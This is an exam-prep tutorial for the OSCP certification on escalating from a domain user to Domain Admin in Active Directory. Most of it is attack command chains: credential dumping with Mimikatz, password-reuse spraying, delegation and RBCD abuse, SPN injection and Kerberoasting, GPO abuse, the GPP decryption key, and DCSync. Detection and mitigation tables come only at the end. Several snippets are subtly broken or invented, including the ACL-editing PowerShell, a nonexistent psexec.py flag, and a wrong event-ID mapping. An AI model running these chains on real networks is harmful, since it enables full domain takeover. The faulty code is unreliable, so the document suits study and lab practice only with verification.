Privilege Escalation Through Lateral Movement
Table of Contents
- How Lateral Movement Enables Privilege Escalation
- Local Admin Password Reuse Across Hosts
- Finding Local Admin Accounts That Are Also Domain Admins
- Escalation Through Constrained Delegation
- Escalation Through Resource-Based Constrained Delegation (RBCD)
- Escalation Through ACL Abuse
- GPO Abuse for Privilege Escalation
- User → Local Admin → Domain Admin Chain
- Common OSCP Scenarios
- Detection and Mitigation
- Common Pitfalls and Troubleshooting
- OSCP Exam Tips
How Lateral Movement Enables Privilege Escalation
Lateral movement and privilege escalation are deeply interconnected in Active Directory. Moving laterally is often the means to achieve higher privileges.
The Escalation Funnel
┌─────────────────────────────────────────────────────────┐
│ Initial Access: Low-Privilege Domain User │
│ (Standard user, minimal permissions) │
└─────────────────────┬───────────────────────────────────┘
│ Lateral Movement
▼
┌─────────────────────────────────────────────────────────┐
│ Local Admin on Workstation/Server │
│ (Credential dumping, token manipulation) │
└─────────────────────┬───────────────────────────────────┘
│ Credential Harvesting
▼
┌─────────────────────────────────────────────────────────┐
│ Higher-Privilege Account │
│ (Server admin, group policy editor, delegated admin) │
└─────────────────────┬───────────────────────────────────┘
│ ACL Abuse / Delegation
▼
┌─────────────────────────────────────────────────────────┐
│ Domain Admin / Enterprise Admin │
│ (Full domain control, DCSync, Golden Ticket) │
└─────────────────────────────────────────────────────────┘
Why Lateral Movement = Escalation Vector
| Lateral Movement Action | Escalation Outcome |
|---|---|
| Access workstation where DA logged in | Steal DA credentials via Mimikatz |
| Become local admin on server | Dump SAM, find cached credentials |
| Access file shares | Find password files, configs, scripts |
| Control computer object | RBCD → impersonate any user |
| Modify GPO | Add self to privileged groups |
| ACL abuse on user object | Inject SPN → Kerberoast → Crack |
| Session impersonation | Inherit DA privileges via DCOM |
Local Admin Password Reuse Across Hosts
The Problem
Many organizations reuse the same local administrator password across multiple machines. If you compromise one host, you can move to others.
Detection and Exploitation
# Step 1: Obtain local admin credentials from compromised host
# Via Mimikatz
mimikatz # sekurlsa::logonpasswords
# Look for local admin accounts
# Step 2: Test credentials on other hosts
# Via PsExec
psexec \\HOST2 -u HOST2\Administrator -p 'ReusedPassword' cmd
psexec \\HOST3 -u HOST3\Administrator -p 'ReusedPassword' cmd
psexec \\HOST4 -u HOST4\Administrator -p 'ReusedPassword' cmd
# Via CrackMapExec
cme smb 10.10.10.0/24 -u Administrator -p 'ReusedPassword' --local-auth
# Step 3: If successful, dump more credentials
cme smb COMPROMISED_HOST -u Administrator -p 'ReusedPassword' --sam
Automated Local Admin Testing
# Test common local admin names
cme smb 10.10.10.0/24 -u 'Administrator,admin,localadmin' -p 'Password123!' --local-auth
# Test with hash
cme smb 10.10.10.0/24 -u Administrator -H NTHASH --local-auth
# CrackMapExec with wordlist for local passwords
cme smb 10.10.10.0/24 -u Administrator -p passwords.txt --local-auth
Common Local Admin Account Names
| Account Name | Common In | Notes |
|---|---|---|
Administrator |
All Windows | Default built-in admin |
admin |
Custom deployments | Common alternative |
localadmin |
Security-conscious orgs | Renamed admin account |
svc_admin |
Service accounts | Shared service admin |
backup_admin |
Backup systems | Backup service account |
Finding Local Admin Accounts That Are Also Domain Admins
The Scenario
A domain admin account is also a member of the local Administrators group on workstations and servers. If you find a DA who has an active session on a machine you control, you can impersonate them.
Detection Methods
# Method 1: Check local admin groups via WMI
Get-WmiObject -Class Win32_GroupUser -ComputerName TARGET | Where-Object {$_.GroupComponent -like '*Administrators*'}
# Method 2: Use net command
psexec \\TARGET -u user -p pass "net localgroup administrators"
# Method 3: CrackMapExec
cme smb TARGET -u user -p pass --local-groups
# Method 4: BloodHound
# Look for: DA_User → MemberOf → Domain Admins
# And: DA_User → HasSession → TARGET_COMPUTER
# If you have: Your_User → AdminTo → TARGET_COMPUTER
# You can impersonate DA_User
# Method 5: Enumerate sessions
cme smb TARGET -u user -p pass --sessions
Exploitation: Session Impersonation
# Step 1: Verify DA has session on target
# BloodHound shows: DA_User → HasSession → TARGET_COMPUTER
# Step 2: Use DCOM to impersonate
# Via Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:DA_User /domain:DOMAIN /ntlm:HASH /run:"psexec \\DC cmd"
# Via Rubeus (if you have DA's TGT)
Rubeus.exe ptt /ticket:BASE64_TGT
# Step 3: Use impersonated credentials
klist tickets
psexec \\DC_HOST cmd
Finding DA Sessions via BloodHound
# Find all users with sessions on computers you admin
MATCH (you:User {name:'YOUR_USER@DOMAIN.LOCAL'})-[:AdminTo]->(c:Computer)<-[:HasSession]-(da:User)
WHERE da.name CONTAINS 'ADMIN' OR da.name CONTAINS 'DA'
RETURN you, c, da
# Find DAs with sessions anywhere
MATCH (da:User)-[:MemberOf]->(:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})
MATCH (da)-[:HasSession]->(c:Computer)
RETURN da, c
Escalation Through Constrained Delegation
Understanding Constrained Delegation
Constrained delegation allows an account to impersonate users to specific services on specific computers.
Prerequisites
- Control of an account with constrained delegation rights
- Knowledge of the target service (SPN)
Exploitation Steps
# Step 1: Identify delegated accounts
# BloodHound: Look for AllowedToDelegate edges
# Or via PowerShell
Get-ADUser -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object {$_.msDS-AllowedToDelegateTo -ne $null}
# Step 2: Compromise the delegated account
# (via password cracking, credential dumping, etc.)
# Step 3: Request TGT for the delegated account
Rubeus.exe asktgt /user:DelegatedAccount /rc4:NTHASH /ptt
# Step 4: Use S4U to request service ticket for target
Rubeus.exe s4u /user:DelegatedAccount /msds-apsn:TARGET_COMPUTER$ /service:cifs/TARGET_HOST /impersonateuser:Administrator /ptt
# Step 5: Use the ticket for lateral movement
psexec \\TARGET_HOST cmd
# Via Impacket
getST.py DOMAIN/DelegatedAccount:password -spn cifs/TARGET_HOST -impersonate Administrator
export KRB5CCNAME=TICKET.ccache
psexec.py -k -no-pass DOMAIN/Administrator@TARGET_HOST
Common Target SPNs
| SPN | Service | Port |
|---|---|---|
cifs/TARGET_HOST |
SMB/File Sharing | 445 |
host/TARGET_HOST |
Kerberos/Host | N/A |
HTTP/TARGET_HOST |
IIS/Web | 80/443 |
MSSQLSvc/TARGET_HOST |
SQL Server | 1433 |
WSMAN/TARGET_HOST |
WinRM | 5985/5986 |
ldap/DC_HOST |
LDAP | 389/636 |
RestrictedKrbHost/TARGET |
Restricted Kerberos | N/A |
Escalation Through Resource-Based Constrained Delegation (RBCD)
Understanding RBCD
RBCD (introduced in Windows Server 2012) allows a computer account to be delegated to act on behalf of users to another computer. The key insight: anyone with write access to a computer object can add themselves to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
Prerequisites
- Write access (GenericAll, GenericWrite, or WriteDACL) to a computer object
- Ability to create a new computer account (or control an existing one)
Exploitation Steps
# Step 1: Create a computer account you control
Import-Module ActiveDirectory
$computerPass = ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force
New-ADComputer -Name "AttackerPC" -AccountPassword $computerPass -Enabled $true
# Step 2: Verify you have write access to the target computer
# BloodHound shows: Your_User → GenericAll/GenericWrite → TARGET_COMPUTER
# Step 3: Add your computer to msDS-AllowedToActOnBehalfOfOtherIdentity
# Method A: Using PowerShell
$targetComputer = Get-ADComputer "TARGET_COMPUTER"
$attackerComputer = Get-ADComputer "AttackerPC"
$sd = Get-ADComputer "TARGET_COMPUTER" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
$sdValue = $sd."msDS-AllowedToActOnBehalfOfOtherIdentity"
# Create the ACE
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$attackerComputer.ObjectIdentifier,
[System.Security.AccessControl.AccessRights]::GenericAll,
"Allow",
[System.Guid]::NewGuid(), # ObjectType: All
[System.Guid]::Empty, # InheritedObjectType
[System.Security.AccessControl.InheritanceFlags]::None
)
# Method B: Using rbcd.py (Impacket)
python rbcd.py -action write -device AttackerPC -target-device TARGET_COMPUTER DOMAIN/user:password
# Step 4: Use RBCD to impersonate any user
# Via Rubeus
Rubeus.exe s4u /user:AttackerPC$ /rc4:COMPUTER_HASH /impersonateuser:Administrator /msds-apsn:TARGET_COMPUTER /ptt
# Via Impacket
getST.py DOMAIN/AttackerPC$:P@ssw0rd! -spn cifs/TARGET_COMPUTER -impersonate Administrator
export KRB5CCNAME=TICKET.ccache
psexec.py -k -no-pass DOMAIN/Administrator@TARGET_COMPUTER
# Step 5: Clean up (optional)
# Remove the ACE from msDS-AllowedToActOnBehalfOfOtherIdentity
python rbcd.py -action clean -device AttackerPC -target-device TARGET_COMPUTER DOMAIN/user:password
RBCD via CrackMapExec
# Check RBCD opportunities
cme smb TARGET_COMPUTER -u user -p pass -M rbcd
# Execute RBCD attack
cme smb TARGET_COMPUTER -u user -p pass -M rbcd -a write
Why RBCD Is Powerful
| Feature | Description |
|---|---|
| No password needed | Computer account password is sufficient |
| Impersonate anyone | Including Domain Admins |
| Any service | CIFS, HTTP, LDAP, MSSQL, etc. |
| Hard to detect | Legitimate-looking AD modification |
| Common misconfiguration | Many users have write access to computer objects |
Escalation Through ACL Abuse
ACL Abuse Types
| ACL Right | What It Allows | Escalation Path |
|---|---|---|
| GenericAll | Full control | Modify any property, including SPN |
| GenericWrite | Modify properties | SPN injection, description change |
| WriteDACL | Modify ACL | Grant yourself any right |
| WriteOwner | Change owner | Take ownership → full control |
| ForceChangePassword | Reset password | Take over the account |
| AddMember | Add to group | Join privileged group |
| AllExtendedRights | All extended rights | Any extended operation |
| WriteSPN | Modify SPN | Enable kerberoasting |
GenericAll/GenericWrite Exploitation
# Step 1: Inject SPN into target user
Import-Module ActiveDirectory
Set-ADUser -Identity TargetUser -ServicePrincipalNames @{Add="VulnService/whatever"}
# Step 2: Kerberoast the target
Rubeus.exe kerberoast /user:TargetUser /format:hashcat /outfile:target_hash.txt
# Step 3: Crack the hash
hashcat -m 13100 target_hash.txt wordlist.txt
# Step 4: Use cracked credentials
psexec \\TARGET_HOST -u DOMAIN\TargetUser -p CrackedPassword cmd
WriteDACL Exploitation
# Step 1: Use WriteDACL to grant yourself GenericAll on target
Import-Module ActiveDirectory
$target = Get-ADUser TargetUser
$attacker = Get-ADUser AttackerUser
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$attacker.SecurityIdentifier,
"GenericAll",
"Allow"
)
$target.ObjectAccess.AddAccessRule($ace)
$target.CommitChanges()
# Step 2: Now use GenericAll rights (see above)
Set-ADUser -Identity TargetUser -ServicePrincipalNames @{Add="VulnService/whatever"}
WriteOwner Exploitation
# Step 1: Take ownership of target object
Import-Module ActiveDirectory
$target = Get-ADUser TargetUser
$attacker = Get-ADUser AttackerUser
$target | Set-Acl -AclObject (New-Object System.Security.AccessControl.CommonAcl)
# Set owner to attacker
$target.Owner = $attacker.SID
# Step 2: Now you have full control
# Use GenericAll exploitation (see above)
ForceChangePassword Exploitation
# Step 1: Reset target's password
Import-Module ActiveDirectory
$newPass = ConvertTo-SecureString 'NewP@ssw0rd!' -AsPlainText -Force
Set-ADAccountPassword -Identity TargetUser -Reset -NewPassword $newPass
# Step 2: Enable account if disabled
Enable-ADAccount -Identity TargetUser
# Step 3: Use new credentials
psexec \\TARGET_HOST -u DOMAIN\TargetUser -p 'NewP@ssw0rd!' cmd
AddMember Exploitation
# Step 1: Add yourself to privileged group
Import-Module ActiveDirectory
Add-ADGroupMember -Identity "Domain Admins" -Members AttackerUser
# Step 2: Force group policy refresh
gpupdate /force
# Step 3: Re-authenticate (log off/on or use runas)
runas /user:DOMAIN\AttackerUser "cmd /k whoami"
# Step 4: Use DA privileges
psexec \\DC_HOST -u DOMAIN\AttackerUser -p Password cmd
GPO Abuse for Privilege Escalation
GPO Attack Vectors
| GPO Right | Attack Method | Result |
|---|---|---|
| GenericAll on GPO | Modify GPO settings | Full GPO control |
| GenericWrite on GPO | Modify GPO properties | Change GPO configuration |
| Edit Security Settings | Modify restricted groups | Add self to local admins |
| ApplyGroupPolicy | Target computers affected | Plan attack scope |
Attack 1: Restricted Groups
# Step 1: Identify GPOs you can modify
# BloodHound: Your_User → GenericAll → GPO → ApplyGroupPolicy → TARGET_COMPUTER
# Step 2: Modify GPO to add yourself as local admin
Import-Module GroupPolicy
$gpo = Get-GPO -Name "TargetGPO"
# Via GPO Editor (GUI):
# Computer Configuration → Policies → Windows Settings → Security Settings → Restricted Groups
# Add your account to the Administrators group
# Via PowerShell:
# Modify the GPO's restricted groups extension
Attack 2: Group Policy Preferences (Legacy)
# Step 1: Find GPP files with encrypted passwords
# Search SYSVOL for Groups.xml, Services.xml, ScheduledTasks.xml, Drivers.xml
Get-ChildItem \\DOMAIN\SYSVOL\DOMAIN\Policies\ -Recurse -Filter "Groups.xml"
# Step 2: Decrypt GPP passwords
# GPP passwords use a static key (can be decrypted)
# Use GPPPassword cracker or manual decryption
# The encryption key (well-known):
# 4e9906d89992e698624d9f85c6144d7f326f8b3fa6e5328a91600c10d516a8f0
# Step 3: Use decrypted credentials for lateral movement
psexec \\TARGET_HOST -u DOMAIN\FoundUser -p 'DecryptedPassword' cmd
Attack 3: Scheduled Tasks via GPO
# Step 1: Modify GPO to create a scheduled task
# Computer Configuration → Policies → Windows Settings → Scripts → Startup
# Add a script that runs your payload
# Step 2: The task runs on all computers the GPO applies to
# When the target computer processes the GPO, your script executes as SYSTEM
Attack 4: Registry Modifications via GPO
# Step 1: Modify GPO registry preferences
# Computer Configuration → Preferences → Windows Settings → Registry
# Add registry keys that facilitate access
# Step 2: Examples:
# - Enable WinRM remotely
# - Add scheduled tasks
# - Modify firewall rules
# - Create service accounts
GPO Abuse via PowerShell
# Full GPO abuse workflow
Import-Module GroupPolicy, ActiveDirectory
# Find GPOs you can edit
$gpos = Get-GPO -All | Where-Object {
$acl = Get-Acl "GPOLayer:\Domain System\Group Policy\$($_.Id)"
$acl.Access | Where-Object {
$_.IdentityReference -like "*YourUser*" -and
($_.FileSystemRights -like "*FullControl*" -or
$_.FileSystemRights -like "*Write*")
}
}
# Modify a GPO
$targetGPO = Get-GPO -Name "VulnerableGPO"
# Add restricted group, scheduled task, or registry modification
User → Local Admin → Domain Admin Chain
The Complete Escalation Chain
Step 1: Initial Foothold
├── Compromise low-privilege user account
├── Credentials: DOMAIN\lowuser:Password123
└── Access: Standard domain user
Step 2: Reconnaissance
├── Enumerate domain structure
├── Find where lowuser has elevated rights
├── BloodHound: Shortest path to DA
└── CME: Share enumeration, local admin check
Step 3: First Lateral Movement
├── lowuser → Local Admin on WORKSTATION01
├── psexec \\WORKSTATION01 -u lowuser -p Password123 cmd
├── Mimikatz: Dump credentials
└── Found: SERVER_ADMIN credentials
Step 4: Second Lateral Movement
├── SERVER_ADMIN → Local Admin on FILESERVER01
├── psexec \\FILESERVER01 -u SERVER_ADMIN -p ServerPass cmd
├── Find sensitive files, configs, more credentials
└── Found: GPO Editor credentials
Step 5: GPO/ACL Abuse
├── GPO Editor → GenericAll on CriticalGPO
├── Modify GPO to add self to Domain Admins
├── Wait for GPO refresh (or force on target)
└── Now member of Domain Admins
Step 6: Domain Dominance
├── DCSync attack
├── secretsdump.py DOMAIN/new_da_user:Password@DC
└── Full domain control
Detailed Command Chain
# Step 1: Initial access
cme smb 10.10.10.0/24 -u lowuser -p Password123
# Step 2: Find where lowuser is local admin
cme smb 10.10.10.0/24 -u lowuser -p Password123 --local-auth
# Step 3: Dump credentials from admin host
cme smb WORKSTATION01 -u lowuser -p Password123 --sam
# Found: SERVER_ADMIN:$HASH$
# Step 4: Use SERVER_ADMIN hash
cme smb 10.10.10.0/24 -u SERVER_ADMIN -H NTHASH --local-auth
# Step 5: Access file server
cme smb FILESERVER01 -u SERVER_ADMIN -H NTHASH --shares
cme smb FILESERVER01 -u SERVER_ADMIN -H NTHASH -M spider_plus
# Step 6: Find GPO edit rights (BloodHound)
# lowuser → GenericAll → GPO → ApplyGroupPolicy → DC
# Step 7: Modify GPO
# Add self to Domain Admins via restricted groups
# Step 8: DCSync
cme smb DC -u lowuser -p Password123 --dcsync -u-target krbtgt
Common OSCP Scenarios
Scenario 1: Password Reuse Chain
User A (workstation) → Same password → Local Admin on Server B →
Credential dump → Server Admin → Domain Admin session on Server C →
Mimikatz → DA credentials → DCSync
Key Commands:
# Test password reuse
cme smb 10.10.10.0/24 -u Administrator -p 'FoundPassword' --local-auth
# Dump credentials
cme smb SERVER_B -u Administrator -p 'FoundPassword' --sam
# Follow the chain
cme smb 10.10.10.0/24 -u ServerAdmin -H NEW_HASH
Scenario 2: ACL Misconfiguration
User A → GenericWrite on User B → SPN injection → Kerberoast →
Crack hash → User B is in Privileged Group → AdminTo Server C →
Credential dump → DA credentials
Key Commands:
# Inject SPN
Set-ADUser UserB -ServicePrincipalNames @{Add="custom/spn"}
# Kerberoast
Rubeus.exe kerberoast /user:UserB /format:hashcat /outfile:userb.txt
# Crack
hashcat -m 13100 userb.txt wordlist.txt
# Use cracked creds
psexec \\SERVER_C -u DOMAIN\UserB -p CrackedPassword cmd
Scenario 3: RBCD to Domain Admin
User A → GenericAll on Computer B → Create AttackerPC →
RBCD on Computer B → Impersonate DA → DCSync
Key Commands:
# Create computer
python rbcd.py -action write -device AttackerPC -target-device ComputerB DOMAIN/user:pass
# Impersonate DA
getST.py DOMAIN/AttackerPC$:Password -spn cifs/ComputerB -impersonate Administrator
# DCSync
psexec.py -k -no-pass DOMAIN/Administrator@DC --dc-sync
Scenario 4: GPO Restricted Groups
User A → GenericAll on GPO → Modify Restricted Groups →
Add self to DA group → GPO applies → Domain Admin
Key Commands:
# Modify GPO
Import-Module GroupPolicy
# Add restricted group via GPO editor or PowerShell
# Force update on target
psexec \\TARGET -u user -p pass "gpupdate /force"
# Re-authenticate
runas /user:DOMAIN\UserA "cmd /k net user /domain"
Detection and Mitigation
Detection Indicators
| Event ID | Description | Escalation Activity |
|---|---|---|
| 4624 | Successful logon | Unusual logon types/sources |
| 4648 | Explicit credential logon | PsExec, runas activity |
| 4672 | Special privileges assigned | Admin privilege usage |
| 4768/4769 | Kerberos ticket requests | S4U, delegation attacks |
| 4771 | Kerberos preauth failure | Hash cracking, spraying |
| 5136 | AD object modified | ACL changes, SPN injection |
| 4742 | Computer account created | RBCD setup |
| 4765 | RBCD modification | msDS-AllowedToAct changes |
| 4728 | Member added to group | AddMember abuse |
| 4719 | Audit policy changes | GPO modification |
| Sysmon 1 | Process creation | Mimikatz, PsExec, Rubeus |
| Sysmon 3 | Network connection | Lateral movement traffic |
| Sysmon 10 | Process access | Credential dumping (LSASS access) |
Mitigation Strategies
| Strategy | Implementation | Prevents |
|---|---|---|
| LAPS | Randomize local admin passwords | Password reuse across hosts |
| Credential Guard | Enable via GPO | Credential dumping (Mimikatz) |
| AdminSDHolder | Protect privileged groups | ACL abuse on DA accounts |
| Restricted Kerberos | Enable on computer objects | RBCD abuse |
| PPL (Protected Process) | Enable LSASS protection | LSASS credential dumping |
| Network Segmentation | VLANs, firewalls | Lateral movement paths |
| Just-In-Time Admin | Elevate on demand | Persistent admin access |
| Privileged Access Workstations | Dedicated admin devices | Credential theft from workstations |
| MFA for Admin | Multi-factor authentication | Stolen credential usage |
| Regular ACL Audit | BloodHound, custom scripts | ACL misconfigurations |
Common Pitfalls and Troubleshooting
| Issue | Cause | Solution |
|---|---|---|
| RBCD fails | Restricted Kerberos enabled | Check msDS-AllowedToActOnBehalfOfOtherIdentity |
| Kerberoast returns nothing | No SPN set | Verify SPN: Get-ADUser -SPN |
| GPO doesn’t apply | Wrong link/enforcement | Check GPO link: Get-GPOReport |
| DCSync denied | No DCSync rights | Replicate Directory Changes permission needed |
| S4U fails | Account not delegated | Verify msDS-AllowedToDelegateTo |
| Mimikatz empty | Credential Guard/PPL | Try WDigest, cached creds, or Kerberos tickets |
| PsExec access denied | UAC remote restriction | Use service creation or admin shares |
| BloodHound no paths | Insufficient data | Run full collection with DCOM |
| Hash doesn’t work | SMB signing required | Use Kerberos auth instead of PtH |
OSCP Exam Tips
- Always dump credentials after lateral movement — Every new host is a potential credential source
- Check for password reuse immediately — Test found passwords against other hosts
- BloodHound is your roadmap — Run it early, follow the shortest path
- RBCD is a common OSCP scenario — If you have write access to a computer object, try RBCD
- GPO abuse is often the key — Look for GPOs you can modify to escalate
- The chain matters — Document each hop: User A → Host B → Credential C → Host D → DA
- Don’t forget Kerberoasting — Any user with an SPN can be kerberoasted
- Local admin ≠ Domain admin — But local admin on the right host can lead to DA
- Use CrackMapExec for the chain — CME accelerates the credential testing phase
- DCSync is your endgame — Once you have DA or DCSync rights, use it to get all hashes
- Clean up behind you — Remove created computer accounts, restore ACLs if possible
- Time management — Don’t get stuck on one path; if BloodHound shows multiple paths, try the shortest one first